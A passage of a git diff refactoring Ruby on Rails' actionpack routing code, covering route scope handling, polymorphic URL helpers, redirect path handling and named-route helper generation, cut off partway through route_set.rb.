@@ -1480,6 +1680,14 @@ module ActionDispatch
options
end
+ def nesting_depth #:nodoc:
+ @nesting.size
+ end
+
+ def shallow_nesting_depth #:nodoc:
+ @nesting.select(&:shallow?).size
+ end
+
def param_constraint? #:nodoc:
@scope[:constraints] && @scope[:constraints][parent_resource.param].is_a?(Regexp)
end
@@ -1488,22 +1696,25 @@ module ActionDispatch
@scope[:constraints][parent_resource.param]
end
- def canonical_action?(action, flag) #:nodoc:
- flag && resource_method_scope? && CANONICAL_ACTIONS.include?(action.to_s)
+ def canonical_action?(action) #:nodoc:
+ resource_method_scope? && CANONICAL_ACTIONS.include?(action.to_s)
end
- def shallow_scoping? #:nodoc:
- shallow? && @scope[:scope_level] == :member
+ def shallow_scope(path, options = {}) #:nodoc:
+ scope = { :as => @scope[:shallow_prefix],
+ :path => @scope[:shallow_path] }
+ @scope = @scope.new scope
+
+ scope(path, options) { yield }
+ ensure
+ @scope = @scope.parent
end
def path_for_action(action, path) #:nodoc:
- prefix = shallow_scoping? ?
- "#{@scope[:shallow_path]}/#{parent_resource.shallow_scope}" : @scope[:path]
-
- if canonical_action?(action, path.blank?)
- prefix.to_s
+ if path.blank? && canonical_action?(action)
+ @scope[:path].to_s
else
- "#{prefix}/#{action_path(action, path)}"
+ "#{@scope[:path]}/#{action_path(action, path)}"
end
end
@@ -1514,15 +1725,18 @@ module ActionDispatch
def prefix_name_for_action(as, action) #:nodoc:
if as
- as.to_s
- elsif !canonical_action?(action, @scope[:scope_level])
- action.to_s
+ prefix = as
+ elsif !canonical_action?(action)
+ prefix = action
+ end
+
+ if prefix && prefix != '/' && !prefix.empty?
+ Mapper.normalize_name prefix.to_s.tr('-', '_')
end
end
def name_for_action(as, action) #:nodoc:
prefix = prefix_name_for_action(as, action)
- prefix = Mapper.normalize_name(prefix) if prefix
name_prefix = @scope[:as]
if parent_resource
@@ -1532,27 +1746,14 @@ module ActionDispatch
member_name = parent_resource.member_name
end
- name = case @scope[:scope_level]
- when :nested
- [name_prefix, prefix]
- when :collection
- [prefix, name_prefix, collection_name]
- when :new
- [prefix, :new, name_prefix, member_name]
- when :member
- [prefix, shallow_scoping? ? @scope[:shallow_prefix] : name_prefix, member_name]
- when :root
- [name_prefix, collection_name, prefix]
- else
- [name_prefix, member_name, prefix]
- end
+ name = @scope.action_name(name_prefix, prefix, collection_name, member_name)
- if candidate = name.select(&:present?).join("_").presence
+ if candidate = name.compact.join("_").presence
# If a name was not explicitly given, we check if it is valid
# and return nil in case it isn't. Otherwise, we pass the invalid name
# forward so the underlying router engine treats it and raises an exception.
if as.nil?
- candidate unless @set.routes.find { |r| r.name == candidate } || candidate !~ /\A[_a-z]/i
+ candidate unless candidate !~ /\A[_a-z]/i || @set.named_routes.key?(candidate)
else
candidate
end
@@ -1677,10 +1878,85 @@ module ActionDispatch
end
end
+ class Scope # :nodoc:
+ OPTIONS = [:path, :shallow_path, :as, :shallow_prefix, :module,
+ :controller, :action, :path_names, :constraints,
+ :shallow, :blocks, :defaults, :options]
+
+ RESOURCE_SCOPES = [:resource, :resources]
+ RESOURCE_METHOD_SCOPES = [:collection, :member, :new]
+
+ attr_reader :parent, :scope_level
+
+ def initialize(hash, parent = {}, scope_level = nil)
+ @hash = hash
+ @parent = parent
+ @scope_level = scope_level
+ end
+
+ def nested?
+ scope_level == :nested
+ end
+
+ def resources?
+ scope_level == :resources
+ end
+
+ def resource_method_scope?
+ RESOURCE_METHOD_SCOPES.include? scope_level
+ end
+
+ def action_name(name_prefix, prefix, collection_name, member_name)
+ case scope_level
+ when :nested
+ [name_prefix, prefix]
+ when :collection
+ [prefix, name_prefix, collection_name]
+ when :new
+ [prefix, :new, name_prefix, member_name]
+ when :member
+ [prefix, name_prefix, member_name]
+ when :root
+ [name_prefix, collection_name, prefix]
+ else
+ [name_prefix, member_name, prefix]
+ end
+ end
+
+ def resource_scope?
+ RESOURCE_SCOPES.include? scope_level
+ end
+
+ def options
+ OPTIONS
+ end
+
+ def new(hash)
+ self.class.new hash, self, scope_level
+ end
+
+ def new_level(level)
+ self.class.new(self, self, level)
+ end
+
+ def fetch(key, &block)
+ @hash.fetch(key, &block)
+ end
+
+ def [](key)
+ @hash.fetch(key) { @parent[key] }
+ end
+
+ def []=(k,v)
+ @hash[k] = v
+ end
+ end
+
def initialize(set) #:nodoc:
@set = set
- @scope = { :path_names => @set.resources_path_names }
+ @scope = Scope.new({ :path_names => @set.resources_path_names })
@concerns = {}
+ @nesting = []
end
include Base
diff --git a/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb b/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
index 6d3f8da932..0847842fa2 100644
--- a/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
+++ b/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
@@ -74,6 +74,19 @@ module ActionDispatch
# * <tt>:routing_type</tt> - Allowed values are <tt>:path</tt> or <tt>:url</tt>.
# Default is <tt>:url</tt>.
#
+ # Also includes all the options from <tt>url_for</tt>. These include such
+ # things as <tt>:anchor</tt> or <tt>:trailing_slash</tt>. Example usage
+ # is given below:
+ #
+ # polymorphic_url([blog, post], anchor: 'my_anchor')
+ # # => "http://example.com/blogs/1/posts/1#my_anchor"
+ # polymorphic_url([blog, post], anchor: 'my_anchor', script_name: "/my_app")
+ # # => "http://example.com/my_app/blogs/1/posts/1#my_anchor"
+ #
+ # For all of these options, see the documentation for <tt>url_for</tt>.
+ #
+ # ==== Functionality
+ #
# # an Article record
# polymorphic_url(record) # same as article_url(record)
#
@@ -88,118 +101,229 @@ module ActionDispatch
# polymorphic_url(Comment) # same as comments_url()
#
def polymorphic_url(record_or_hash_or_array, options = {})
- if record_or_hash_or_array.kind_of?(Array)
- record_or_hash_or_array = record_or_hash_or_array.compact
- if record_or_hash_or_array.first.is_a?(ActionDispatch::Routing::RoutesProxy)
- proxy = record_or_hash_or_array.shift
- end
- record_or_hash_or_array = record_or_hash_or_array[0] if record_or_hash_or_array.size == 1
+ if Hash === record_or_hash_or_array
+ options = record_or_hash_or_array.merge(options)
+ record = options.delete :id
+ return polymorphic_url record, options
end
- record = extract_record(record_or_hash_or_array)
- record = convert_to_model(record)
+ opts = options.dup
+ action = opts.delete :action
+ type = opts.delete(:routing_type) || :url
- args = Array === record_or_hash_or_array ?
- record_or_hash_or_array.dup :
- [ record_or_hash_or_array ]
-
- inflection = if options[:action] && options[:action].to_s == "new"
- args.pop
- :singular
- elsif (record.respond_to?(:persisted?) && !record.persisted?)
- args.pop
- :plural
- elsif record.is_a?(Class)
- args.pop
- :plural
- else
- :singular
- end
-
- args.delete_if {|arg| arg.is_a?(Symbol) || arg.is_a?(String)}
- named_route = build_named_route_call(record_or_hash_or_array, inflection, options)
-
- url_options = options.except(:action, :routing_type)
- unless url_options.empty?
- args.last.kind_of?(Hash) ? args.last.merge!(url_options) : args << url_options
- end
-
- args.collect! { |a| convert_to_model(a) }
-
- (proxy || self).send(named_route, *args)
+ HelperMethodBuilder.polymorphic_method self,
+ record_or_hash_or_array,
+ action,
+ type,
+ opts
end
# Returns the path component of a URL for the given record. It uses
# <tt>polymorphic_url</tt> with <tt>routing_type: :path</tt>.
def polymorphic_path(record_or_hash_or_array, options = {})
- polymorphic_url(record_or_hash_or_array, options.merge(:routing_type => :path))
+ if Hash === record_or_hash_or_array
+ options = record_or_hash_or_array.merge(options)
+ record = options.delete :id
+ return polymorphic_path record, options
+ end
+
+ opts = options.dup
+ action = opts.delete :action
+ type = :path
+
+ HelperMethodBuilder.polymorphic_method self,
+ record_or_hash_or_array,
+ action,
+ type,
+ opts
end
+
%w(edit new).each do |action|
module_eval <<-EOT, __FILE__, __LINE__ + 1
- def #{action}_polymorphic_url(record_or_hash, options = {}) # def edit_polymorphic_url(record_or_hash, options = {})
- polymorphic_url( # polymorphic_url(
- record_or_hash, # record_or_hash,
- options.merge(:action => "#{action}")) # options.merge(:action => "edit"))
- end # end
- #
- def #{action}_polymorphic_path(record_or_hash, options = {}) # def edit_polymorphic_path(record_or_hash, options = {})
- polymorphic_url( # polymorphic_url(
- record_or_hash, # record_or_hash,
- options.merge(:action => "#{action}", :routing_type => :path)) # options.merge(:action => "edit", :routing_type => :path))
- end # end
+ def #{action}_polymorphic_url(record_or_hash, options = {})
+ polymorphic_url_for_action("#{action}", record_or_hash, options)
+ end
+
+ def #{action}_polymorphic_path(record_or_hash, options = {})
+ polymorphic_path_for_action("#{action}", record_or_hash, options)
+ end
EOT
end
private
- def action_prefix(options)
- options[:action] ? "#{options[:action]}_" : ''
+
+ def polymorphic_url_for_action(action, record_or_hash, options)
+ polymorphic_url(record_or_hash, options.merge(:action => action))
+ end
+
+ def polymorphic_path_for_action(action, record_or_hash, options)
+ polymorphic_path(record_or_hash, options.merge(:action => action))
+ end
+
+ class HelperMethodBuilder # :nodoc:
+ CACHE = { 'path' => {}, 'url' => {} }
+
+ def self.get(action, type)
+ type = type.to_s
+ CACHE[type].fetch(action) { build action, type }
end
- def routing_type(options)
- options[:routing_type] || :url
+ def self.url; CACHE['url'.freeze][nil]; end
+ def self.path; CACHE['path'.freeze][nil]; end
+
+ def self.build(action, type)
+ prefix = action ? "#{action}_" : ""
+ suffix = type
+ if action.to_s == 'new'
+ HelperMethodBuilder.singular prefix, suffix
+ else
+ HelperMethodBuilder.plural prefix, suffix
+ end
end
- def build_named_route_call(records, inflection, options = {})
- if records.is_a?(Array)
- record = records.pop
- route = records.map do |parent|
- if parent.is_a?(Symbol) || parent.is_a?(String)
- parent
- else
- model_name_from_record_or_class(parent).singular_route_key
- end
+ def self.singular(prefix, suffix)
+ new(->(name) { name.singular_route_key }, prefix, suffix)
+ end
+
+ def self.plural(prefix, suffix)
+ new(->(name) { name.route_key }, prefix, suffix)
+ end
+
+ def self.polymorphic_method(recipient, record_or_hash_or_array, action, type, options)
+ builder = get action, type
+
+ case record_or_hash_or_array
+ when Array
+ record_or_hash_or_array = record_or_hash_or_array.compact
+ if record_or_hash_or_array.empty?
+ raise ArgumentError, "Nil location provided. Can't build URI."
end
+ if record_or_hash_or_array.first.is_a?(ActionDispatch::Routing::RoutesProxy)
+ recipient = record_or_hash_or_array.shift
+ end
+
+ method, args = builder.handle_list record_or_hash_or_array
+ when String, Symbol
+ method, args = builder.handle_string record_or_hash_or_array
+ when Class
+ method, args = builder.handle_class record_or_hash_or_array
+
+ when nil
+ raise ArgumentError, "Nil location provided. Can't build URI."
else
- record = extract_record(records)
- route = []
+ method, args = builder.handle_model record_or_hash_or_array
end
- if record.is_a?(Symbol) || record.is_a?(String)
- route << record
- elsif record
- if inflection == :singular
- route << model_name_from_record_or_class(record).singular_route_key
+
+ if options.empty?
+ recipient.send(method, *args)
+ else
+ recipient.send(method, *args, options)
+ end
+ end
+
+ attr_reader :suffix, :prefix
+
+ def initialize(key_strategy, prefix, suffix)
+ @key_strategy = key_strategy
+ @prefix = prefix
+ @suffix = suffix
+ end
+
+ def handle_string(record)
+ [get_method_for_string(record), []]
+ end
+
+ def handle_string_call(target, str)
+ target.send get_method_for_string str
+ end
+
+ def handle_class(klass)
+ [get_method_for_class(klass), []]
+ end
+
+ def handle_class_call(target, klass)
+ target.send get_method_for_class klass
+ end
+
+ def handle_model(record)
+ args = []
+
+ model = record.to_model
+ name = if record.persisted?
+ args << model
+ model.model_name.singular_route_key
+ else
+ @key_strategy.call model.model_name
+ end
+
+ named_route = prefix + "#{name}_#{suffix}"
+
+ [named_route, args]
+ end
+
+ def handle_model_call(target, model)
+ method, args = handle_model model
+ target.send(method, *args)
+ end
+
+ def handle_list(list)
+ record_list = list.dup
+ record = record_list.pop
+
+ args = []
+
+ route = record_list.map { |parent|
+ case parent
+ when Symbol, String
+ parent.to_s
+ when Class
+ args << parent
+ parent.model_name.singular_route_key
else
- route << model_name_from_record_or_class(record).route_key
+ args << parent.to_model
+ parent.to_model.model_name.singular_route_key
end
+ }
+
+ route <<
+ case record
+ when Symbol, String
+ record.to_s
+ when Class
+ @key_strategy.call record.model_name
else
- raise ArgumentError, "Nil location provided. Can't build URI."
+ if record.persisted?
+ args << record.to_model
+ record.to_model.model_name.singular_route_key
+ else
+ @key_strategy.call record.to_model.model_name
+ end
end
- route << routing_type(options)
+ route << suffix
- action_prefix(options) + route.join("_")
+ named_route = prefix + route.join("_")
+ [named_route, args]
end
- def extract_record(record_or_hash_or_array)
- case record_or_hash_or_array
- when Array; record_or_hash_or_array.last
- when Hash; record_or_hash_or_array[:id]
- else record_or_hash_or_array
- end
+ private
+
+ def get_method_for_class(klass)
+ name = @key_strategy.call klass.model_name
+ prefix + "#{name}_#{suffix}"
+ end
+
+ def get_method_for_string(str)
+ prefix + "#{str}_#{suffix}"
end
+
+ [nil, 'new', 'edit'].each do |action|
+ CACHE['url'][action] = build action, 'url'
+ CACHE['path'][action] = build action, 'path'
+ end
+ end
end
end
end
-
diff --git a/actionpack/lib/action_dispatch/routing/redirection.rb b/actionpack/lib/action_dispatch/routing/redirection.rb
index d751e04e6a..3c1c4fadf6 100644
--- a/actionpack/lib/action_dispatch/routing/redirection.rb
+++ b/actionpack/lib/action_dispatch/routing/redirection.rb
@@ -3,10 +3,11 @@ require 'active_support/core_ext/uri'
require 'active_support/core_ext/array/extract_options'
require 'rack/utils'
require 'action_controller/metal/exceptions'
+require 'action_dispatch/routing/endpoint'
module ActionDispatch
module Routing
- class Redirect # :nodoc:
+ class Redirect < Endpoint # :nodoc:
attr_reader :status, :block
def initialize(status, block)
@@ -14,23 +15,29 @@ module ActionDispatch
@block = block
end
+ def redirect?; true; end
+
def call(env)
- req = Request.new(env)
+ serve Request.new env
+ end
- # If any of the path parameters has a invalid encoding then
- # raise since it's likely to trigger errors further on.
- req.symbolized_path_parameters.each do |key, value|
- unless value.valid_encoding?
- raise ActionController::BadRequest, "Invalid parameter: #{key} => #{value}"
+ def serve(req)
+ req.check_path_parameters!
+ uri = URI.parse(path(req.path_parameters, req))
+
+ unless uri.host
+ if relative_path?(uri.path)
+ uri.path = "#{req.script_name}/#{uri.path}"
+ elsif uri.path.empty?
+ uri.path = req.script_name.empty? ? "/" : req.script_name
end
end
-
- uri = URI.parse(path(req.symbolized_path_parameters, req))
+
uri.scheme ||= req.scheme
uri.host ||= req.host
uri.port ||= req.port unless req.standard_port?
- body = %(<html><body>You are being <a href="#{ERB::Util.h(uri.to_s)}">redirected</a>.</body></html>)
+ body = %(<html><body>You are being <a href="#{ERB::Util.unwrapped_html_escape(uri.to_s)}">redirected</a>.</body></html>)
headers = {
'Location' => uri.to_s,
@@ -48,11 +55,38 @@ module ActionDispatch
def inspect
"redirect(#{status})"
end
+
+ private
+ def relative_path?(path)
+ path && !path.empty? && path[0] != '/'
+ end
+
+ def escape(params)
+ Hash[params.map{ |k,v| [k, Rack::Utils.escape(v)] }]
+ end
+
+ def escape_fragment(params)
+ Hash[params.map{ |k,v| [k, Journey::Router::Utils.escape_fragment(v)] }]
+ end
+
+ def escape_path(params)
+ Hash[params.map{ |k,v| [k, Journey::Router::Utils.escape_path(v)] }]
+ end
end
class PathRedirect < Redirect
+ URL_PARTS = /\A([^?]+)?(\?[^#]+)?(#.+)?\z/
+
def path(params, request)
- (params.empty? || !block.match(/%\{\w*\}/)) ? block : (block % escape(params))
+ if block.match(URL_PARTS)
+ path = interpolation_required?($1, params) ? $1 % escape_path(params) : $1
+ query = interpolation_required?($2, params) ? $2 % escape(params) : $2
+ fragment = interpolation_required?($3, params) ? $3 % escape_fragment(params) : $3
+
+ "#{path}#{query}#{fragment}"
+ else
+ interpolation_required?(block, params) ? block % escape(params) : block
+ end
end
def inspect
@@ -60,8 +94,8 @@ module ActionDispatch
end
private
- def escape(params)
- Hash[params.map{ |k,v| [k, Rack::Utils.escape(v)] }]
+ def interpolation_required?(string, params)
+ !params.empty? && string && string.match(/%\{\w*\}/)
end
end
@@ -81,17 +115,22 @@ module ActionDispatch
url_options[:path] = (url_options[:path] % escape_path(params))
end
+ unless options[:host] || options[:domain]
+ if relative_path?(url_options[:path])
+ url_options[:path] = "/#{url_options[:path]}"
+ url_options[:script_name] = request.script_name
+ elsif url_options[:path].empty?
+ url_options[:path] = request.script_name.empty? ? "/" : ""
+ url_options[:script_name] = request.script_name
+ end
+ end
+
ActionDispatch::Http::URL.url_for url_options
end
def inspect
"redirect(#{status}, #{options.map{ |k,v| "#{k}: #{v}" }.join(', ')})"
end
-
- private
- def escape_path(params)
- Hash[params.map{ |k,v| [k, URI.parser.escape(v)] }]
- end
end
module Redirection
@@ -104,6 +143,10 @@ module ActionDispatch
#
# get 'docs/:article', to: redirect('/wiki/%{article}')
#
+ # Note that if you return a path without a leading slash then the url is prefixed with the
+ # current SCRIPT_NAME environment variable. This is typically '/' but may be different in
+ # a mounted engine or where the application is deployed to a subdirectory of a website.
+ #
# Alternatively you can use one of the other syntaxes:
#
# The block version of redirect allows for the easy encapsulation of any logic associated with
diff --git a/actionpack/lib/action_dispatch/routing/route_set.rb b/actionpack/lib/action_dispatch/routing/route_set.rb
index 0f95daa790..f3144dc2d3 100644
--- a/actionpack/lib/action_dispatch/routing/route_set.rb
+++ b/actionpack/lib/action_dispatch/routing/route_set.rb
@@ -1,9 +1,15 @@
-require 'journey'
+require 'action_dispatch/journey'
require 'forwardable'
+require 'thread_safe'
+require 'active_support/concern'
require 'active_support/core_ext/object/to_query'
require 'active_support/core_ext/hash/slice'
require 'active_support/core_ext/module/remove_method'
+require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/string/filters'
require 'action_controller/metal/exceptions'
+require 'action_dispatch/http/request'
+require 'action_dispatch/routing/endpoint'
module ActionDispatch
module Routing
@@ -14,25 +20,17 @@ module ActionDispatch
# alias inspect to to_s.
alias inspect to_s
- PARAMETERS_KEY = 'action_dispatch.request.path_parameters'
-
- class Dispatcher #:nodoc:
- def initialize(options={})
- @defaults = options[:defaults]
- @glob_param = options.delete(:glob)
- @controllers = {}
+ class Dispatcher < Routing::Endpoint #:nodoc:
+ def initialize(defaults)
+ @defaults = defaults
+ @controller_class_names = ThreadSafe::Cache.new
end
- def call(env)
- params = env[PARAMETERS_KEY]
+ def dispatcher?; true; end
- # If any of the path parameters has a invalid encoding then
- # raise since it's likely to trigger errors further on.
- params.each do |key, value|
- unless value.valid_encoding?
- raise ActionController::BadRequest, "Invalid parameter: #{key} => #{value}"
- end
- end
+ def serve(req)
+ req.check_path_parameters!
+ params = req.path_parameters
prepare_params!(params)
@@ -41,13 +39,12 @@ module ActionDispatch
return [404, {'X-Cascade' => 'pass'}, []]
end
- dispatch(controller, params[:action], env)
+ dispatch(controller, params[:action], req.env)
end
def prepare_params!(params)
normalize_controller!(params)
merge_default_action!(params)
- split_glob_param!(params) if @glob_param
end
# If this is a default_controller (i.e. a controller specified by the user)
@@ -68,13 +65,8 @@ module ActionDispatch
private
def controller_reference(controller_param)
- controller_name = "#{controller_param.camelize}Controller"
-
- unless controller = @controllers[controller_param]
- controller = @controllers[controller_param] =
- ActiveSupport::Dependencies.reference(controller_name)
- end
- controller.get(controller_name)
+ const_name = @controller_class_names[controller_param] ||= "#{controller_param.camelize}Controller"
+ ActiveSupport::Dependencies.constantize(const_name)
end
def dispatch(controller, action, env)
@@ -88,10 +80,6 @@ module ActionDispatch
def merge_default_action!(params)
params[:action] ||= 'index'
end
-
- def split_glob_param!(params)
- params[@glob_param] = params[@glob_param].split('/').map { |v| URI.parser.unescape(v) }
- end
end
# A NamedRouteCollection instance is a collection of named routes, and also
@@ -99,50 +87,72 @@ module ActionDispatch
# named routes.
class NamedRouteCollection #:nodoc:
include Enumerable
- attr_reader :routes, :helpers, :module
+ attr_reader :routes, :url_helpers_module
def initialize
@routes = {}
- @helpers = []
- @module = Module.new do
- protected
-
- def handle_positional_args(args, options, segment_keys)
- inner_options = args.extract_options!
- result = options.dup
-
- if args.size > 0
- keys = segment_keys
- if args.size < keys.size - 1 # take format into account
- keys -= self.url_options.keys if self.respond_to?(:url_options)
- keys -= options.keys
- end
- result.merge!(Hash[keys.zip(args)])
- end
+ @path_helpers = Set.new
+ @url_helpers = Set.new
+ @url_helpers_module = Module.new
+ @path_helpers_module = Module.new
+ end
- result.merge!(inner_options)
- end
- end
+ def route_defined?(name)
+ key = name.to_sym
+ @path_helpers.include?(key) || @url_helpers.include?(key)
+ end
+
+ def helpers
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ `named_routes.helpers` is deprecated, please use `route_defined?(route_name)`
+ to see if a named route was defined.
+ MSG
+ @path_helpers + @url_helpers
end
def helper_names
- self.module.instance_methods.map(&:to_s)
+ @path_helpers.map(&:to_s) + @url_helpers.map(&:to_s)
end
def clear!
+ @path_helpers.each do |helper|
+ @path_helpers_module.send :undef_method, helper
+ end
+
+ @url_helpers.each do |helper|
+ @url_helpers_module.send :undef_method, helper
+ end
+
@routes.clear
- @helpers.clear
+ @path_helpers.clear
+ @url_helpers.clear
end
def add(name, route)
- routes[name.to_sym] = route
- define_named_route_methods(name, route)
+ key = name.to_sym
+ path_name = :"#{name}_path"
+ url_name = :"#{name}_url"
+
+ if routes.key? key
+ @path_helpers_module.send :undef_method, path_name
+ @url_helpers_module.send :undef_method, url_name
+ end
+ routes[key] = route
+ define_url_helper @path_helpers_module, route, path_name, route.defaults, name, LEGACY
+ define_url_helper @url_helpers_module, route, url_name, route.defaults, name, UNKNOWN
+
+ @path_helpers << path_name
+ @url_helpers << url_name
end
def get(name)
routes[name.to_sym]
end
+ def key?(name)
+ routes.key? name.to_sym
+ end
+
alias []= add
alias [] get
alias clear clear!
@@ -160,70 +170,206 @@ module ActionDispatch
routes.length
end
- private
+ def path_helpers_module(warn = false)
+ if warn
+ mod = @path_helpers_module
+ helpers = @path_helpers
+ Module.new do
+ include mod
+
+ helpers.each do |meth|
+ define_method(meth) do |*args, &block|
+ ActiveSupport::Deprecation.warn("The method `#{meth}` cannot be used here as a full URL is required. Use `#{meth.to_s.sub(/_path$/, '_url')}` instead")
+ super(*args, &block)
+ end
+ end
+ end
+ else
+ @path_helpers_module
+ end
+ end
- def define_named_route_methods(name, route)
- define_url_helper route, :"#{name}_path",
- route.defaults.merge(:use_route => name, :only_path => true)
- define_url_helper route, :"#{name}_url",
- route.defaults.merge(:use_route => name, :only_path => false)
+ class UrlHelper # :nodoc:
+ def self.create(route, options, route_name, url_strategy)
+ if optimize_helper?(route)
+ OptimizedUrlHelper.new(route, options, route_name, url_strategy)
+ else
+ new route, options, route_name, url_strategy
+ end
end
- # Create a url helper allowing ordered parameters to be associated
- # with corresponding dynamic segments, so you can do:
- #
- # foo_url(bar, baz, bang)
- #
- # Instead of:
- #
- # foo_url(bar: bar, baz: baz, bang: bang)
- #
- # Also allow options hash, so you can do:
- #
- # foo_url(bar, baz, bang, sort_by: 'baz')
- #
- def define_url_helper(route, name, options)
- @module.module_eval <<-END_EVAL, __FILE__, __LINE__ + 1
- remove_possible_method :#{name}
- def #{name}(*args)
- if #{optimize_helper?(route)} && args.size == #{route.required_parts.size} && !args.last.is_a?(Hash) && optimize_routes_generation?
- options = #{options.inspect}
- options.merge!(url_options) if respond_to?(:url_options)
- options[:path] = "#{optimized_helper(route)}"
- ActionDispatch::Http::URL.url_for(options)
- else
- url_for(handle_positional_args(args, #{options.inspect}, #{route.segment_keys.inspect}))
- end
+ def self.optimize_helper?(route)
+ !route.glob? && route.path.requirements.empty?
+ end
+
+ attr_reader :url_strategy, :route_name
+
+ class OptimizedUrlHelper < UrlHelper # :nodoc:
+ attr_reader :arg_size
+
+ def initialize(route, options, route_name, url_strategy)
+ super
+ @required_parts = @route.required_parts
+ @arg_size = @required_parts.size
+ end
+
+ def call(t, args, inner_options)
+ if args.size == arg_size && !inner_options && optimize_routes_generation?(t)
+ options = t.url_options.merge @options
+ options[:path] = optimized_helper(args)
+ url_strategy.call options
+ else
+ super
+ end
+ end
+
+ private
+
+ def optimized_helper(args)
+ params = parameterize_args(args)
+ missing_keys = missing_keys(params)
+
+ unless missing_keys.empty?
+ raise_generation_error(params, missing_keys)
end
- END_EVAL
- helpers << name
+ @route.format params
+ end
+
+ def optimize_routes_generation?(t)
+ t.send(:optimize_routes_generation?)
+ end
+
+ def parameterize_args(args)
+ params = {}
+ @required_parts.zip(args.map(&:to_param)) { |k,v| params[k] = v }
+ params
+ end
+
+ def missing_keys(args)
+ args.select{ |part, arg| arg.nil? || arg.empty? }.keys
+ end
+
+ def raise_generation_error(args, missing_keys)
+ constraints = Hash[@route.requirements.merge(args).sort]
+ message = "No route matches #{constraints.inspect}"
+ message << " missing required keys: #{missing_keys.sort.inspect}"
+
+ raise ActionController::UrlGenerationError, message
+ end
+ end
+
+ def initialize(route, options, route_name, url_strategy)
+ @options = options
+ @segment_keys = route.segment_keys.uniq
+ @route = route
+ @url_strategy = url_strategy
+ @route_name = route_name
end
- # Clause check about when we need to generate an optimized helper.
- def optimize_helper?(route) #:nodoc:
- route.requirements.except(:controller, :action).empty?
+ def call(t, args, inner_options)
+ controller_options = t.url_options
+ options = controller_options.merge @options
+ hash = handle_positional_args(controller_options,
+ deprecate_string_options(inner_options) || {},
+ args,
+ options,
+ @segment_keys)
+
+ t._routes.url_for(hash, route_name, url_strategy)
end
- # Generates the interpolation to be used in the optimized helper.
- def optimized_helper(route)
- string_route = route.ast.to_s
+ def handle_positional_args(controller_options, inner_options, args, result, path_params)
- while string_route.gsub!(/\([^\)]*\)/, "")
- true
+ if args.size > 0
+ if args.size < path_params.size - 1 # take format into account
+ path_params -= controller_options.keys
+ path_params -= result.keys
+ end
+ path_params.each { |param|
+ result[param] = inner_options[param] || args.shift
+ }
end
- route.required_parts.each_with_index do |part, i|
- # Replace each route parameter
- # e.g. :id for regular parameter or *path for globbing
- # with ruby string interpolation code
- string_route.gsub!(/(\*|:)#{part}/, "\#{Journey::Router::Utils.escape_fragment(args[#{i}].to_param)}")
+ result.merge!(inner_options)
+ end
+
+ DEPRECATED_STRING_OPTIONS = %w[controller action]
+
+ def deprecate_string_options(options)
+ options ||= {}
+ deprecated_string_options = options.keys & DEPRECATED_STRING_OPTIONS
+ if deprecated_string_options.any?
+ msg = "Calling URL helpers with string keys #{deprecated_string_options.join(", ")} is deprecated. Use symbols instead."
+ ActiveSupport::Deprecation.warn(msg)
+ deprecated_string_options.each do |option|
+ value = options.delete(option)
+ options[option.to_sym] = value
+ end
end
+ options
+ end
+ end
- string_route
+ private
+ # Create a url helper allowing ordered parameters to be associated
+ # with corresponding dynamic segments, so you can do:
+ #
+ # foo_url(bar, baz, bang)
+ #
+ # Instead of:
+ #
+ # foo_url(bar: bar, baz: baz, bang: bang)
+ #
+ # Also allow options hash, so you can do:
+ #
+ # foo_url(bar, baz, bang, sort_by: 'baz')
+ #
+ def define_url_helper(mod, route, name, opts, route_key, url_strategy)
+ helper = UrlHelper.create(route, opts, route_key, url_strategy)
+ mod.module_eval do
+ define_method(name) do |*args|
+ options = nil
+ options = args.pop if args.last.is_a? Hash
+ helper.call self, args, options
+ end
end
+ end
end
+ # :stopdoc:
+ # strategy for building urls to send to the client
+ PATH = ->(options) { ActionDispatch::Http::URL.path_for(options) }
+ FULL = ->(options) { ActionDispatch::Http::URL.full_url_for(options) }
+ UNKNOWN = ->(options) { ActionDispatch::Http::URL.url_for(options) }
+ LEGACY = ->(options) {
+ if options.key?(:only_path)
+ if options[:only_path]
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ You are calling a `*_path` helper with the `only_path` option
+ explicitly set to `true`. This option will stop working on
+ path helpers in Rails 5. Simply remove the `only_path: true`
+ argument from your call as it is redundant when applied to a
+ path helper.
+ MSG
+
+ PATH.call(options)
+ else
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ You are calling a `*_path` helper with the `only_path` option
+ explicitly set to `false`. This option will stop working on
+ path helpers in Rails 5. Use the corresponding `*_url` helper
+ instead.
+ MSG
+
+ FULL.call(options)
+ end
+ else
+ PATH.call(options)
+ end
+ }
+ # :startdoc:
+
attr_accessor :formatter, :set, :named_routes, :default_scope, :router
attr_accessor :disable_clear_and_finalize, :resources_path_names
attr_accessor :default_url_options, :request_class
@@ -236,7 +382,7 @@ module ActionDispatch
def initialize(request_class = ActionDispatch::Request)
self.named_routes = NamedRouteCollection.new
- self.resources_path_names = self.class.default_resources_path_names.dup
+ self.resources_path_names = self.class.default_resources_path_names
self.default_url_options = {}
self.request_class = request_class
@@ -246,9 +392,7 @@ module ActionDispatch
@finalized = false
@set = Journey::Routes.new
- @router = Journey::Router.new(@set, {
- :parameters_key => PARAMETERS_KEY,
- :request_class => request_class})
+ @router = Journey::Router.new @set
@formatter = Journey::Formatter.new @set
end
@@ -279,6 +423,7 @@ module ActionDispatch
mapper.instance_exec(&block)
end
end
+ private :eval_block
def finalize!
return if @finalized
@@ -288,19 +433,22 @@ module ActionDispatch
def clear!
@finalized = false
- @url_helpers = nil
named_routes.clear
set.clear
formatter.clear
@prepend.each { |blk| eval_block(blk) }
end
+ def dispatcher(defaults)
+ Routing::RouteSet::Dispatcher.new(defaults)
+ end
+
module MountedHelpers #:nodoc:
extend ActiveSupport::Concern
include UrlFor
end
- # Contains all the mounted helpers accross different
+ # Contains all the mounted helpers across different
# engines and the `main_app` helper for the application.
# You can include this in your classes if you want to
# access routes for other engines.
@@ -325,40 +473,57 @@ module ActionDispatch
RUBY
end
- def url_helpers
- @url_helpers ||= begin
- routes = self
+ def url_helpers(supports_path = true)
+ routes = self
- Module.new do
- extend ActiveSupport::Concern
- include UrlFor
+ Module.new do
+ extend ActiveSupport::Concern
+ include UrlFor
+
+ # Define url_for in the singleton level so one can do:
+ # Rails.application.routes.url_helpers.url_for(args)
+ @_routes = routes
+ class << self
